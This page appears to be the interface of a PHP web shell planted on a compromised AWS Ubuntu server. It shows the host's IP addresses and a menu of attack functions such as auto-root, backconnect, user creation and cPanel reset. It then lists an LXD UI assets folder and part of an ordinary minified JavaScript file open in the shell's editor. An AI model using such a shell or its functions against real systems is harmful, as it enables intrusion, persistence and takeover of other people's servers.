Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.15.187.205
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
snap /
lxd /
33085 /
share /
lxd-ui /
assets /
[ HOME SHELL ]
Name
Size
Permission
Action
font
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
AutoExpandingTextArea-BXFyAEiG...
151
B
-rw-r--r--
BaseLayout-CiF2D8RH.js
280
B
-rw-r--r--
BulkDeleteButton-B-fvVwh0.js
1.08
KB
-rw-r--r--
CancelOperationBtn-BW2TAzI_.js
1.08
KB
-rw-r--r--
CertificateAdd-BGVwf-VB.js
2.84
KB
-rw-r--r--
CertificateGenerate-bNGS6BFl.j...
9.87
KB
-rw-r--r--
ClusterGroupForm-BiXmM-NU.js
3.25
KB
-rw-r--r--
ClusterList-CZFDB46f.js
5.17
KB
-rw-r--r--
ClusterMemberSelector-B2lzDpCI...
3.71
KB
-rw-r--r--
ClusterSpecificInput-BdiLVA9B....
1.97
KB
-rw-r--r--
ClusterSpecificSelect-DrKUzNev...
2.2
KB
-rw-r--r--
ConfigFieldDescription-BnRkdbo...
335
B
-rw-r--r--
CreateClusterGroup-C6s3qbZf.js
463
B
-rw-r--r--
CreateInstance-BXX4Xa4W.js
27.97
KB
-rw-r--r--
CreateInstanceFromImageBtn-BiE...
527
B
-rw-r--r--
CreateNetwork-BQw2A27w.js
2.88
KB
-rw-r--r--
CreateNetworkForward-BgZF8duA....
1.71
KB
-rw-r--r--
CreateProfile-CCJYKSCK.js
4.04
KB
-rw-r--r--
CreateProject-DTBqJzUb.js
2.83
KB
-rw-r--r--
CreateStoragePool-CuOutvs3.js
2.46
KB
-rw-r--r--
CreateStorageVolume-B0HvyGnH.j...
2.47
KB
-rw-r--r--
CustomIsoList-CQVv4whx.js
5.48
KB
-rw-r--r--
DeleteStoragePoolBtn-BeXLuEnA....
1.62
KB
-rw-r--r--
DeleteStorageVolumeBtn-DIIVYGa...
1.88
KB
-rw-r--r--
DiskSizeSelector-IT5APek6.js
1010
B
-rw-r--r--
EditClusterGroup-DiNIL0Lx.js
761
B
-rw-r--r--
EditNetworkForward-DtcWepYC.js
1.99
KB
-rw-r--r--
ExpandableList-EDeaeb6c.js
323
B
-rw-r--r--
FormEditButton-Cs2eW7Js.js
278
B
-rw-r--r--
FormFooterLayout-B3kcadYt.js
738
B
-rw-r--r--
FormLink-BaU-zsbe.js
879
B
-rw-r--r--
FormMenuItem-ChXfQsFA.js
2.23
MB
-rw-r--r--
FormMenuItem-DyX1CsEw.css
66.66
KB
-rw-r--r--
GroupOrIdentityChangesTable-DQ...
5.11
KB
-rw-r--r--
GroupSelectionActions-Dq47oQd-...
3.18
KB
-rw-r--r--
HelpLink-4LTOsqZO.js
294
B
-rw-r--r--
ImageList-yKBGTFZU.js
11.7
KB
-rw-r--r--
InstanceDetail-BV9hr65t.js
481.49
KB
-rw-r--r--
InstanceDetail-Beg8tuEN.css
3.88
KB
-rw-r--r--
InstanceLinkChip-DfVC8U01.js
4.24
KB
-rw-r--r--
InstanceList-CTEYE5e7.js
24.67
KB
-rw-r--r--
ItemName-DSOx0T0r.js
185
B
-rw-r--r--
Login-CsUYa7ns.js
1.41
KB
-rw-r--r--
Meter-BsdJ73XW.js
487
B
-rw-r--r--
NetworkDetail-RgSS_6Vw.js
12.8
KB
-rw-r--r--
NetworkForwardForm-C18aehvo.js
6.49
KB
-rw-r--r--
NetworkList-B4gWmGGm.js
6.32
KB
-rw-r--r--
NetworkListTable-Ba2LzF-J.js
3.31
KB
-rw-r--r--
NotificationRow-CotZPNAQ.js
157
B
-rw-r--r--
OperationList-D4--05cO.js
3.35
KB
-rw-r--r--
PageHeader-CExPjRLH.js
549
B
-rw-r--r--
PermissionGroups-CkGxgQmn.js
30.89
KB
-rw-r--r--
PermissionIdentities-DDmb7V-C....
12.93
KB
-rw-r--r--
PermissionIdpGroups-yggiVbcG.j...
13.38
KB
-rw-r--r--
ProfileDetail-CQHhNWwW.js
10.94
KB
-rw-r--r--
ProfileDetailsForm-C-rMcUGO.js
2.45
KB
-rw-r--r--
ProfileInstances-DeravO8Q.js
1.46
KB
-rw-r--r--
ProfileList-C7yC3g6E.js
7.11
KB
-rw-r--r--
ProgressBar-CQ2HKUqQ.js
170
B
-rw-r--r--
ProjectConfiguration-rKP8dZtz....
9.04
KB
-rw-r--r--
ProjectForm-GhClr0iv.js
15.12
KB
-rw-r--r--
ProtectedRoute-DYKGChU3.js
214
B
-rw-r--r--
ProxyDeviceForm-B5UDgi1V.js
38.9
KB
-rw-r--r--
RenameHeader-fmgiouA6.js
13.29
KB
-rw-r--r--
ResourceIcon-DZQOrBLA.js
532
B
-rw-r--r--
ResourceLabel-PzB_6v5p.js
317
B
-rw-r--r--
ResourceLink-CS7mH0C3.js
302
B
-rw-r--r--
ScrollableContainer-MJpEXCww.j...
646
B
-rw-r--r--
ScrollableTable-DWT33Lms.js
561
B
-rw-r--r--
SelectableMainTable-C8l8QdDe.j...
2.21
KB
-rw-r--r--
SelectedTableNotification-2DZb...
974
B
-rw-r--r--
Settings-BYi8qROs.js
9.75
KB
-rw-r--r--
SidePanel-DNeaRMst.js
2.84
KB
-rw-r--r--
SnapshotForm-DF9sGEzn.js
1.49
KB
-rw-r--r--
StoragePoolDetail-DT58PBIr.js
6.45
KB
-rw-r--r--
StoragePoolForm-Z62B6Fuh.js
17.07
KB
-rw-r--r--
StoragePoolSelectTable-CXuxJSN...
1.61
KB
-rw-r--r--
StoragePoolSelector-DEvMjaMu.j...
1.48
KB
-rw-r--r--
StoragePoolSize-DyBNKBKy.js
467
B
-rw-r--r--
StoragePools-DK0Gkjq9.js
3.99
KB
-rw-r--r--
StorageUsedBy-sdKGRlgM.js
2.12
KB
-rw-r--r--
StorageVolumeDetail-fQzbPWNW.j...
24.87
KB
-rw-r--r--
StorageVolumeForm-ZPfwK39D.js
8.42
KB
-rw-r--r--
StorageVolumes-DPotlIN6.js
7.26
KB
-rw-r--r--
StorageVolumesFilter-B7pR3OeF....
1.01
KB
-rw-r--r--
TabLinks-BIG_Rdvk.js
360
B
-rw-r--r--
UploadCustomIso-DG12FhN0.js
2.83
KB
-rw-r--r--
UsedByItem-VHA3kVFG.js
945
B
-rw-r--r--
VolumeAddSnapshotBtn-8Qz9xFE-....
4.87
KB
-rw-r--r--
WarningList-DZNTQSpg.js
1.99
KB
-rw-r--r--
YamlNotification-BnmI52ws.js
634
B
-rw-r--r--
YamlSwitch-BXLuxWUh.js
40.62
KB
-rw-r--r--
certificate-kcThcTS9.js
279.99
KB
-rw-r--r--
clusterGroups-BWQNdGSD.js
3.63
KB
-rw-r--r--
images-Du2fhDUO.js
1.22
KB
-rw-r--r--
index-BeIaaTgz.css
661.94
KB
-rw-r--r--
index-BkTFFYvy.js
690.52
KB
-rw-r--r--
index-DW_MHI2K.js
34.19
KB
-rw-r--r--
index.esm-auJ3G_FM.js
38.36
KB
-rw-r--r--
instanceDelete-Bn3xn_NE.js
12.2
KB
-rw-r--r--
instanceOptions-BuFjjn-P.js
1.19
KB
-rw-r--r--
network-forwards-B-h1Yzp9.js
856
B
-rw-r--r--
operations-DIvBacJG.js
757
B
-rw-r--r--
projects-CvA2zMPN.js
789
B
-rw-r--r--
scroll-DPmbgfny.js
26.97
KB
-rw-r--r--
searchAndFilter-DtC_P-vv.js
361
B
-rw-r--r--
snapshots-CEDJtMaf.js
670
B
-rw-r--r--
storage-volumes-tfXkh9eB.js
2.46
KB
-rw-r--r--
useGroups-CCX3qCzO.js
2.91
KB
-rw-r--r--
useImages-LgCYWVgs.js
1.64
KB
-rw-r--r--
useNetworks-D3nHf8AE.js
3.63
KB
-rw-r--r--
useSmallScreen-BvsjT919.js
169
B
-rw-r--r--
useSortTableData-BoXaK1oA.js
393
B
-rw-r--r--
useVolumes-BvpfNVaA.js
1.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : scroll-DPmbgfny.js
import{j as s,d as l,r as m,a7 as ie,L as ne,n as le,o as Y,K as ce,aD as te,g as re,q as C,z as ee,y as Q,I as N,aE as oe,aF as ue,aC as d,p as pe,s as ve}from"./index-BkTFFYvy.js";import{F as T,i as S,j as o,k as M,Y as he}from"./FormMenuItem-ChXfQsFA.js";import{f as q}from"./FormFooterLayout-B3kcadYt.js";import{g as z,h as ge,i as de}from"./useNetworks-D3nHf8AE.js";import{C as _e}from"./ClusterSpecificSelect-DrKUzNev.js";import{E as xe}from"./ExpandableList-EDeaeb6c.js";import{U as ye}from"./UsedByItem-VHA3kVFG.js";import{A as be}from"./AutoExpandingTextArea-BXFyAEiG.js";import{o as P}from"./instanceOptions-BuFjjn-P.js";import{Y as je}from"./YamlNotification-BnmI52ws.js";import{S as we}from"./ScrollableContainer-MJpEXCww.js";import{R as f}from"./ResourceLink-CS7mH0C3.js";const Ne="Connections",W="General",L="Bridge",K="DNS",O="IPv4",R="IPv6",D="OVN",H="YAML configuration",me=({active:e,setActive:a,formik:n,availableSections:r})=>{const t={active:e,setActive:a},i=n.values.name.length>0,c=n.values.networkType==="physical"&&!n.values.parent&&n.values.isCreating,p=i?c?"Please select a parent network to enable this section":"":"Please enter a network name to enable this section";return s.jsx("nav",{"aria-label":"Network form navigation",className:"toc-tree",children:s.jsxs("ul",{children:[s.jsx(T,{label:W,...t}),r.includes(L)&&s.jsx(T,{label:L,...t,disableReason:p}),r.includes(O)&&s.jsx(T,{label:O,...t,disableReason:p}),r.includes(R)&&s.jsx(T,{label:R,...t,disableReason:p}),s.jsx(T,{label:K,...t,disableReason:p}),r.includes(D)&&s.jsx(T,{label:D,...t,disableReason:p})]})})},Fe=["bridge","physical"],Ve=({project:e,props:a,formik:n})=>{var V,b;const r=l.useNotify(),{data:t=[],error:i,isLoading:c}=z("default");m.useEffect(()=>{i&&r.failure("Loading networks failed",i)},[i]);const{data:p,error:u,isLoading:x}=ie(e);m.useEffect(()=>{u&&r.failure("Loading projects failed",u)},[u]);const F=(((b=(V=p==null?void 0:p.config)==null?void 0:V["restricted.networks.uplinks"])==null?void 0:b.split(","))||t.filter(v=>Fe.includes(v.type)&&v.managed).map(v=>v.name)).map(v=>({label:v,value:v}));return F.unshift({label:F.length===0?"No networks available":"Select option",value:""}),c||x?s.jsx(ne,{}):s.jsxs("div",{className:"general-field",children:[s.jsx("div",{className:"general-field-label can-edit",children:s.jsx(l.Label,{forId:"network",required:n.values.isCreating,children:"Uplink"})}),s.jsx("div",{className:"general-field-content",children:n.values.readOnly?s.jsxs(s.Fragment,{children:[n.values.network,s.jsx(l.Button,{onClick:()=>{S(n),q("uplink")},className:"u-no-margin--bottom",type:"button",appearance:"base",title:n.values.editRestriction??"Edit",hasIcon:!0,disabled:!!n.values.editRestriction,children:s.jsx(l.Icon,{name:"edit"})})]}):s.jsx(l.Select,{help:"Uplink network to use for external network access",options:F,required:!0,...a})})]})},Ie=({formik:e})=>{const a=le();return s.jsx(l.Select,{id:"networkType",name:"networkType",help:e.values.networkType==="ovn"?s.jsx("a",{href:`${a}/howto/network_ovn_setup/#set-up-a-lxd-cluster-on-ovn`,target:"_blank",rel:"noopener noreferrer",children:"Learn how to set up OVN"}):void 0,required:!0,options:[{label:"Bridge",value:"bridge"},{label:"OVN",value:"ovn"},{label:"Physical",value:"physical"}],onChange:n=>{n.target.value==="bridge"&&(e.setFieldValue("networkType","bridge"),e.setFieldValue("network",void 0),e.setFieldValue("parent",void 0),e.setFieldValue("parentPerClusterMember",void 0),e.setFieldValue("dns_nameservers",void 0),e.setFieldValue("ipv4_l3only",void 0),e.setFieldValue("ipv4_gateway",void 0),e.setFieldValue("ipv4_routes",void 0),e.setFieldValue("ipv4_routes_anycast",void 0),e.setFieldValue("ipv6_l3only",void 0),e.setFieldValue("ipv6_gateway",void 0),e.setFieldValue("ipv6_routes",void 0),e.setFieldValue("ipv6_routes_anycast",void 0),e.setFieldValue("ovn_ingress_mode",void 0)),n.target.value==="ovn"&&(e.setFieldValue("networkType","ovn"),e.setFieldValue("bridge_driver",void 0),e.setFieldValue("dns_mode",void 0),e.setFieldValue("parent",void 0),e.setFieldValue("parentPerClusterMember",void 0),e.setFieldValue("dns_nameservers",void 0),e.setFieldValue("ipv4_dhcp_expiry",void 0),e.setFieldValue("ipv4_dhcp_ranges",void 0),e.setFieldValue("ipv4_ovn_ranges",void 0),e.setFieldValue("ipv4_gateway",void 0),e.setFieldValue("ipv4_routes",void 0),e.setFieldValue("ipv4_routes_anycast",void 0),e.setFieldValue("ipv6_dhcp_expiry",void 0),e.setFieldValue("ipv6_dhcp_ranges",void 0),e.setFieldValue("ipv6_ovn_ranges",void 0),e.setFieldValue("ipv6_gateway",void 0),e.setFieldValue("ipv6_routes",void 0),e.setFieldValue("ipv6_routes_anycast",void 0),e.setFieldValue("ovn_ingress_mode",void 0)),n.target.value==="physical"&&(e.setFieldValue("networkType","physical"),e.setFieldValue("network",void 0),e.setFieldValue("bridge_driver",void 0),e.setFieldValue("bridge_hwaddr",void 0),e.setFieldValue("bridge_mtu",void 0),e.setFieldValue("dns_domain",void 0),e.setFieldValue("dns_mode",void 0),e.setFieldValue("dns_search",void 0),e.setFieldValue("ipv4_address",void 0),e.setFieldValue("ipv4_dhcp",void 0),e.setFieldValue("ipv4_dhcp_expiry",void 0),e.setFieldValue("ipv4_dhcp_ranges",void 0),e.setFieldValue("ipv4_ovn_ranges",void 0),e.setFieldValue("ipv4_l3only",void 0),e.setFieldValue("ipv6_address",void 0),e.setFieldValue("ipv6_dhcp",void 0),e.setFieldValue("ipv6_dhcp_stateful",void 0),e.setFieldValue("ipv6_dhcp_expiry",void 0),e.setFieldValue("ipv6_dhcp_ranges",void 0),e.setFieldValue("ipv6_ovn_ranges",void 0),e.setFieldValue("ipv6_l3only",void 0))},value:e.values.networkType,disabled:e.values.readOnly||!e.values.isCreating})},Pe=({props:e,formik:a,isClustered:n})=>{const{project:r}=Y(),{data:t=[]}=ce(),i=l.useNotify();if(!r)return s.jsx(s.Fragment,{children:"Missing project"});const c=!n,{data:p=[],error:u,isLoading:x}=z(r,void 0,c);m.useEffect(()=>{u&&i.failure("Loading networks failed",u)},[u]);const{data:w=[],error:F,isLoading:V}=ge("default");m.useEffect(()=>{F&&i.failure("Loading cluster networks failed",F)},[F]);const b=p.filter(v=>v.managed===!1).map(v=>({label:v.name,value:v.name}));if(b.unshift({label:b.length===0?"No networks available":"Select option",value:""}),x||V)return s.jsx(ne,{});if(n){const v=Object.values(a.values.parentPerClusterMember??{}),j=[];return t.forEach(h=>j.push({memberName:h.server_name,values:w.filter(I=>I.memberName===h.server_name&&I.managed===!1).map(I=>I.name)})),s.jsxs("div",{className:"general-field",children:[s.jsx("div",{className:"general-field-label can-edit",children:s.jsx(l.Label,{forId:"parent",required:a.values.isCreating,children:"Parent"})}),s.jsx("div",{className:"general-field-content",children:s.jsx(_e,{id:"parent",options:j,values:a.values.parentPerClusterMember,onChange:h=>void a.setFieldValue("parentPerClusterMember",h),isReadOnly:a.values.readOnly,toggleReadOnly:()=>{S(a),q("parent")},isDefaultSpecific:v.some(h=>h!==v[0]),clusterMemberLinkTarget:h=>`/ui/project/${r}/networks?member=${h}`,disableReason:a.values.editRestriction},JSON.stringify(a.values.parentPerClusterMember))})]})}return s.jsxs("div",{className:"general-field",children:[s.jsx("div",{className:"general-field-label can-edit",children:s.jsx(l.Label,{forId:"parent",required:a.values.isCreating,children:"Parent"})}),s.jsx("div",{className:"general-field-content",children:a.values.readOnly?s.jsxs(s.Fragment,{children:[a.values.parent,s.jsx(l.Button,{onClick:()=>{S(a),q("parent")},className:"u-no-margin--bottom",type:"button",appearance:"base",title:a.values.editRestriction??"Edit",hasIcon:!0,disabled:!!a.values.editRestriction,children:s.jsx(l.Icon,{name:"edit"})})]}):s.jsx(l.Select,{help:"Existing interface to use for network",options:b,...e})})]})},Ce=({formik:e,project:a})=>{var r;const n=te("profile",(r=e.values.bareNetwork)==null?void 0:r.used_by);return s.jsxs("div",{className:"general-field",children:[s.jsx("div",{className:"general-field-label",children:"Used by profiles"}),s.jsx("div",{className:"general-field-content",children:n.length===0?"-":s.jsx(xe,{items:n.map(t=>s.jsx(ye,{item:t,activeProject:a,type:"profile",to:`/ui/project/${t.project}/profile/${t.name}`,projectLinkDetailPage:"profiles"},t.name))})})]})},se=({id:e,address:a,setAddress:n,family:r})=>{const t=a!=="none"&&a!=="auto";return s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"ip-address-selector",children:[s.jsx(l.RadioInput,{label:"Auto",checked:a==="auto",onChange:()=>{n("auto")}}),s.jsx(l.RadioInput,{label:"None",checked:a==="none",onChange:()=>{n("none")}})]}),s.jsxs("div",{className:"ip-address-selector ip-address-custom",children:[s.jsx(l.RadioInput,{label:"Custom","aria-label":"custom",checked:t,onChange:()=>{n("")}}),s.jsx(l.Input,{id:e,name:e,type:"text",placeholder:"Enter address",onChange:i=>{n(i.target.value)},value:t&&a?a:"",disabled:!t,help:s.jsxs(s.Fragment,{children:["Use CIDR notation.",s.jsx("br",{}),"You can set the option to ",s.jsx("code",{children:"none"})," to turn off ",r,", or to ",s.jsx("code",{children:"auto"})," to generate a new random unused subnet."]})})]})]})},ae=({row:e})=>{var a,n;return s.jsxs("div",{className:"general-field ip-address",children:[s.jsx("div",{className:"general-field-label can-edit",children:(a=e.columns)==null?void 0:a[0].content}),s.jsx("div",{className:"general-field-content",children:(n=e.columns)==null?void 0:n[2].content})]})},Te=({formik:e,project:a})=>{var p,u,x;const{member:n}=Y(),r=l.useNotify(),{data:t,error:i}=re({queryKey:[C.projects,a,C.networks,(p=e.values.bareNetwork)==null?void 0:p.name,C.members,n,C.state],retry:0,queryFn:async()=>{var w;return de(((w=e.values.bareNetwork)==null?void 0:w.name)??"",a,n)},enabled:!e.values.isCreating});m.useEffect(()=>{i&&r.failure("Loading network state failed",i)},[i]);const c=((u=e.values.bareNetwork)==null?void 0:u.managed)??!0;return s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"general-field",children:[s.jsx("div",{className:"general-field-label",children:"RX"}),s.jsxs("div",{className:"general-field-content",children:[ee((t==null?void 0:t.counters.bytes_received)??0)," (",(t==null?void 0:t.counters.packets_received)??0," packets)"]})]}),s.jsxs("div",{className:"general-field",children:[s.jsx("div",{className:"general-field-label",children:"TX"}),s.jsxs("div",{className:"general-field-content",children:[ee((t==null?void 0:t.counters.bytes_sent)??0)," (",(t==null?void 0:t.counters.packets_sent)??0," packets)"]})]}),c&&s.jsxs("div",{className:"general-field",children:[s.jsx("div",{className:"general-field-label",children:"Status"}),s.jsx("div",{className:"general-field-content",children:((x=e.values.bareNetwork)==null?void 0:x.status)??"-"})]})]})},fe=({props:e,formik:a})=>{var n;return s.jsxs("div",{className:"general-field",children:[s.jsx("div",{className:"general-field-label can-edit",children:s.jsx(l.Label,{forId:"description",children:"Description"})}),s.jsx("div",{className:Q("general-field-content",{"description-readonly":a.values.readOnly}),children:a.values.readOnly?s.jsxs(s.Fragment,{children:[((n=a.values.description)==null?void 0:n.length)??!1?a.values.description:"-",s.jsx(l.Button,{onClick:()=>{S(a),q("description")},className:"u-no-margin--bottom",type:"button",appearance:"base",title:a.values.editRestriction??"Edit",hasIcon:!0,disabled:!!a.values.editRestriction,children:s.jsx(l.Icon,{name:"edit"})})]}):s.jsx(be,{...e})})]})},Se=({formik:e,project:a})=>{var p;const{member:n}=Y(),r=l.useNotify(),t=((p=e.values.bareNetwork)==null?void 0:p.name)??"",{data:i,error:c}=re({queryKey:[C.projects,a,C.networks,t,C.members,n,C.state],retry:0,queryFn:async()=>de(t,a,n)});return m.useEffect(()=>{c&&r.failure("Loading network state failed",c)},[c]),s.jsxs(s.Fragment,{children:[s.jsx("h2",{className:"p-heading--4",children:"Addresses"}),((i==null?void 0:i.addresses)??[]).length>0?s.jsx(l.MainTable,{sortable:!0,headers:[{content:"IP",sortKey:"ip"},{content:"Netmask",sortKey:"netmask"},{content:"Scope",sortKey:"scope"},{content:"Family",sortKey:"family"}],rows:i==null?void 0:i.addresses.map(u=>({key:u.address,columns:[{content:u.address,role:"cell","aria-label":"Address"},{content:u.netmask,role:"cell","aria-label":"Netmask"},{content:u.scope,role:"cell","aria-label":"Scope"},{content:u.family,role:"cell","aria-label":"family"}],sortData:{ip:u.address,netmask:u.netmask,scope:u.scope,family:u.family}}))}):"None"]})},Ee=({formik:e,project:a,isClustered:n})=>{var i;const r=c=>({id:c,name:c,onBlur:e.handleBlur,onChange:p=>{S(e),e.handleChange(p)},value:e.values[c]??"",error:e.touched[c]?e.errors[c]:null,placeholder:`Enter ${c.replaceAll("_"," ")}`}),t=((i=e.values.bareNetwork)==null?void 0:i.managed)??!0;return s.jsxs(s.Fragment,{children:[s.jsx("h2",{className:"p-heading--4",id:N(W),children:"General"}),s.jsxs("div",{className:"u-sv3",children:[s.jsxs("div",{className:"general-field",children:[s.jsx("div",{className:"general-field-label",children:s.jsx(l.Label,{forId:"networkType",children:"Type"})}),s.jsx("div",{className:"general-field-content",children:e.values.isCreating?s.jsx(Ie,{formik:e}):oe(e.values.networkType)})]}),!t&&s.jsx(s.Fragment,{children:s.jsxs("div",{className:"general-field",children:[s.jsx("div",{className:"general-field-label",children:s.jsx(l.Label,{forId:"networkType",children:"Managed"})}),s.jsx("div",{className:"general-field-content",children:"No"})]})}),e.values.isCreating&&s.jsxs("div",{className:"general-field",children:[s.jsx("div",{className:"general-field-label",children:s.jsx(l.Label,{forId:"name",required:e.values.isCreating,children:"Name"})}),s.jsx("div",{className:"general-field-content",children:s.jsx(l.Input,{...r("name"),type:"text",required:!0})})]}),t&&s.jsx(fe,{formik:e,props:r("description")}),e.values.networkType==="ovn"&&t&&s.jsx(Ve,{props:r("network"),project:a,formik:e}),e.values.networkType==="physical"&&t&&s.jsx(Pe,{props:r("parent"),formik:e,isClustered:n}),e.values.networkType!=="physical"&&t&&s.jsxs(s.Fragment,{children:[s.jsx(ae,{row:o({formik:e,name:"ipv4_address",label:"IPv4 address range",defaultValue:"auto",children:s.jsx(se,{id:"ipv4_address",family:"IPv4",address:e.values.ipv4_address,setAddress:c=>{e.setFieldValue("ipv4_address",c),c==="none"&&["ipv4_nat","ipv4_dhcp","ipv4_dhcp_expiry","ipv4_dhcp_ranges"].forEach(u=>void e.setFieldValue(u,void 0))}})})}),s.jsx(ae,{row:o({formik:e,name:"ipv6_address",label:"IPv6 address range",defaultValue:"auto",children:s.jsx(se,{id:"ipv6_address",family:"IPv6",address:e.values.ipv6_address,setAddress:c=>{e.setFieldValue("ipv6_address",c),c==="none"&&["ipv6_nat","ipv6_dhcp","ipv6_dhcp_expiry","ipv6_dhcp_ranges","ipv6_dhcp_stateful","ipv6_ovn_ranges"].forEach(u=>void e.setFieldValue(u,void 0))}})})})]}),!e.values.isCreating&&s.jsx(Te,{formik:e,project:a}),!t&&s.jsx(Se,{formik:e,project:a}),!e.values.isCreating&&t&&s.jsx(Ce,{project:a,formik:e})]})]})},Le=({formik:e,filterRows:a})=>{const n=a([o({formik:e,name:"bridge_mtu",label:"MTU",defaultValue:"",children:s.jsx(l.Input,{type:"text"})}),o({formik:e,name:"bridge_hwaddr",label:"Hardware address",defaultValue:"",children:s.jsx(l.Input,{type:"text"})}),...e.values.networkType==="bridge"?[o({formik:e,name:"bridge_driver",label:"Driver",defaultValue:"",children:s.jsx(l.Select,{options:[{label:"Select option",value:"",disabled:!0},{label:"Native",value:"native"},{label:"Openvswitch",value:"openvswitch"}]})})]:[]]);return n.length===0?null:s.jsxs(s.Fragment,{children:[s.jsx("h2",{className:"p-heading--4",id:N(L),children:"Bridge"}),s.jsx(M,{rows:n})]})},Oe=({formik:e,filterRows:a})=>{const n=a([...e.values.networkType!=="physical"?[o({formik:e,name:"dns_domain",label:"DNS domain",defaultValue:"",children:s.jsx(l.Input,{type:"text"})})]:[],...e.values.networkType==="bridge"?[o({formik:e,name:"dns_mode",label:"DNS mode",defaultValue:"",children:s.jsx(l.Select,{options:[{label:"Select option",value:"",disabled:!0},{label:"None",value:"none"},{label:"Managed",value:"managed"},{label:"Dynamic",value:"dynamic"}]})})]:[],...e.values.networkType==="physical"?[o({formik:e,name:"dns_nameservers",label:"DNS nameservers",defaultValue:"",children:s.jsx(l.Input,{type:"text"})})]:[o({formik:e,name:"dns_search",label:"DNS search",defaultValue:"",children:s.jsx(l.Textarea,{})})]]);return n.length===0?null:s.jsxs(s.Fragment,{children:[s.jsx("h2",{className:"p-heading--4",id:N(K),children:"DNS"}),s.jsx(M,{rows:n})]})},Re=({formik:e,filterRows:a})=>{const n=e.values.ipv4_dhcp!=="false",r=a([...e.values.networkType!=="physical"?[o({formik:e,name:"ipv4_nat",label:"IPv4 NAT",defaultValue:"",children:s.jsx(l.Select,{options:P}),disabled:e.values.ipv4_address==="none",disabledReason:"IPv4 address is set to none"})]:[],...e.values.networkType!=="physical"?[o({formik:e,name:"ipv4_dhcp",label:"IPv4 DHCP",defaultValue:"",children:s.jsx(l.Select,{options:P})})]:[],...e.values.networkType!=="ovn"&&e.values.networkType!=="physical"?[o({formik:e,name:"ipv4_dhcp_expiry",label:"IPv4 DHCP expiry",defaultValue:"",disabled:!n,disabledReason:"IPv4 DHCP is disabled",children:s.jsx(l.Input,{type:"text"})}),o({formik:e,name:"ipv4_dhcp_ranges",label:"IPv4 DHCP ranges",defaultValue:"",disabled:!n,disabledReason:"IPv4 DHCP is disabled",children:s.jsx(l.Textarea,{})})]:[],...e.values.networkType==="ovn"?[o({formik:e,name:"ipv4_l3only",label:"IPv4 L3 only",defaultValue:"",children:s.jsx(l.Select,{options:P})})]:[],...e.values.networkType!=="ovn"?[o({formik:e,name:"ipv4_ovn_ranges",label:"IPv4 OVN ranges",defaultValue:"",children:s.jsx(l.Textarea,{})})]:[],...["bridge","physical"].includes(e.values.networkType)?[o({formik:e,name:"ipv4_routes",label:"IPv4 routes",defaultValue:"",children:s.jsx(l.Textarea,{})})]:[],...e.values.networkType==="physical"?[o({formik:e,name:"ipv4_gateway",label:"IPv4 gateway",defaultValue:"",children:s.jsx(l.Textarea,{})}),o({formik:e,name:"ipv4_routes_anycast",label:"IPv4 routes anycast",defaultValue:"",children:s.jsx(l.Select,{options:P})})]:[]]);return r.length===0?null:s.jsxs(s.Fragment,{children:[s.jsx("h2",{className:"p-heading--4",id:N(O),children:"IPv4"}),s.jsx(M,{rows:r})]})},De=({formik:e,filterRows:a})=>{const n=e.values.ipv6_dhcp!=="false",r=a([...e.values.networkType!=="physical"?[o({formik:e,name:"ipv6_nat",label:"IPv6 NAT",defaultValue:"",children:s.jsx(l.Select,{options:P}),disabled:e.values.ipv6_address==="none",disabledReason:"IPv6 address is set to none"})]:[],...e.values.networkType!=="physical"?[o({formik:e,name:"ipv6_dhcp",label:"IPv6 DHCP",defaultValue:"",children:s.jsx(l.Select,{options:P})})]:[],...e.values.networkType!=="ovn"&&e.values.networkType!=="physical"?[o({formik:e,name:"ipv6_dhcp_expiry",label:"IPv6 DHCP expiry",defaultValue:"",disabled:!n,disabledReason:"IPv6 DHCP is disabled",children:s.jsx(l.Input,{type:"text"})}),o({formik:e,name:"ipv6_dhcp_ranges",label:"IPv6 DHCP ranges",defaultValue:"",disabled:!n,disabledReason:"IPv6 DHCP is disabled",children:s.jsx(l.Textarea,{})})]:[],...e.values.networkType!=="physical"?[o({formik:e,name:"ipv6_dhcp_stateful",label:"IPv6 DHCP stateful",defaultValue:"",disabled:!n,disabledReason:"IPv6 DHCP is disabled",children:s.jsx(l.Select,{options:P})})]:[],...e.values.networkType==="ovn"?[o({formik:e,name:"ipv6_l3only",label:"IPv6 L3 only",defaultValue:"",children:s.jsx(l.Select,{options:P})})]:[],...e.values.networkType!=="ovn"?[o({formik:e,name:"ipv6_ovn_ranges",label:"IPv6 OVN ranges",defaultValue:"",children:s.jsx(l.Textarea,{})})]:[],...["bridge","physical"].includes(e.values.networkType)?[o({formik:e,name:"ipv6_routes",label:"IPv6 routes",defaultValue:"",children:s.jsx(l.Textarea,{})})]:[],...e.values.networkType==="physical"?[o({formik:e,name:"ipv6_gateway",label:"IPv6 gateway",defaultValue:"",children:s.jsx(l.Textarea,{})}),o({formik:e,name:"ipv6_routes_anycast",label:"IPv6 routes anycast",defaultValue:"",children:s.jsx(l.Select,{options:P})})]:[]]);return r.length===0?null:s.jsxs(s.Fragment,{children:[s.jsx("h2",{className:"p-heading--4",id:N(R),children:"IPv6"}),s.jsx(M,{rows:r})]})},Me=({formik:e,filterRows:a})=>{const n=a([o({formik:e,name:"ovn_ingress_mode",label:"OVN ingress mode",defaultValue:"",children:s.jsx(l.Select,{options:[{label:"Select option",value:"",disabled:!0},{label:"l2proxy",value:"l2proxy"},{label:"routed",value:"routed"}]})})]);return n.length===0?null:s.jsxs(s.Fragment,{children:[s.jsx("h2",{className:"p-heading--4",id:N(D),children:"OVN"}),s.jsx(M,{rows:n})]})},$e=({formik:e,project:a,isServerClustered:n})=>{const{member:r}=Y(),t=l.useNotify(),[i,c]=m.useState(!0),[p,u]=m.useState(!0),x=e.values.bareNetwork;if(!x)return;const w=n&&["physical","bridge"].includes(x.type),{data:F=[],error:V}=z(a);m.useEffect(()=>{V&&t.failure("Loading 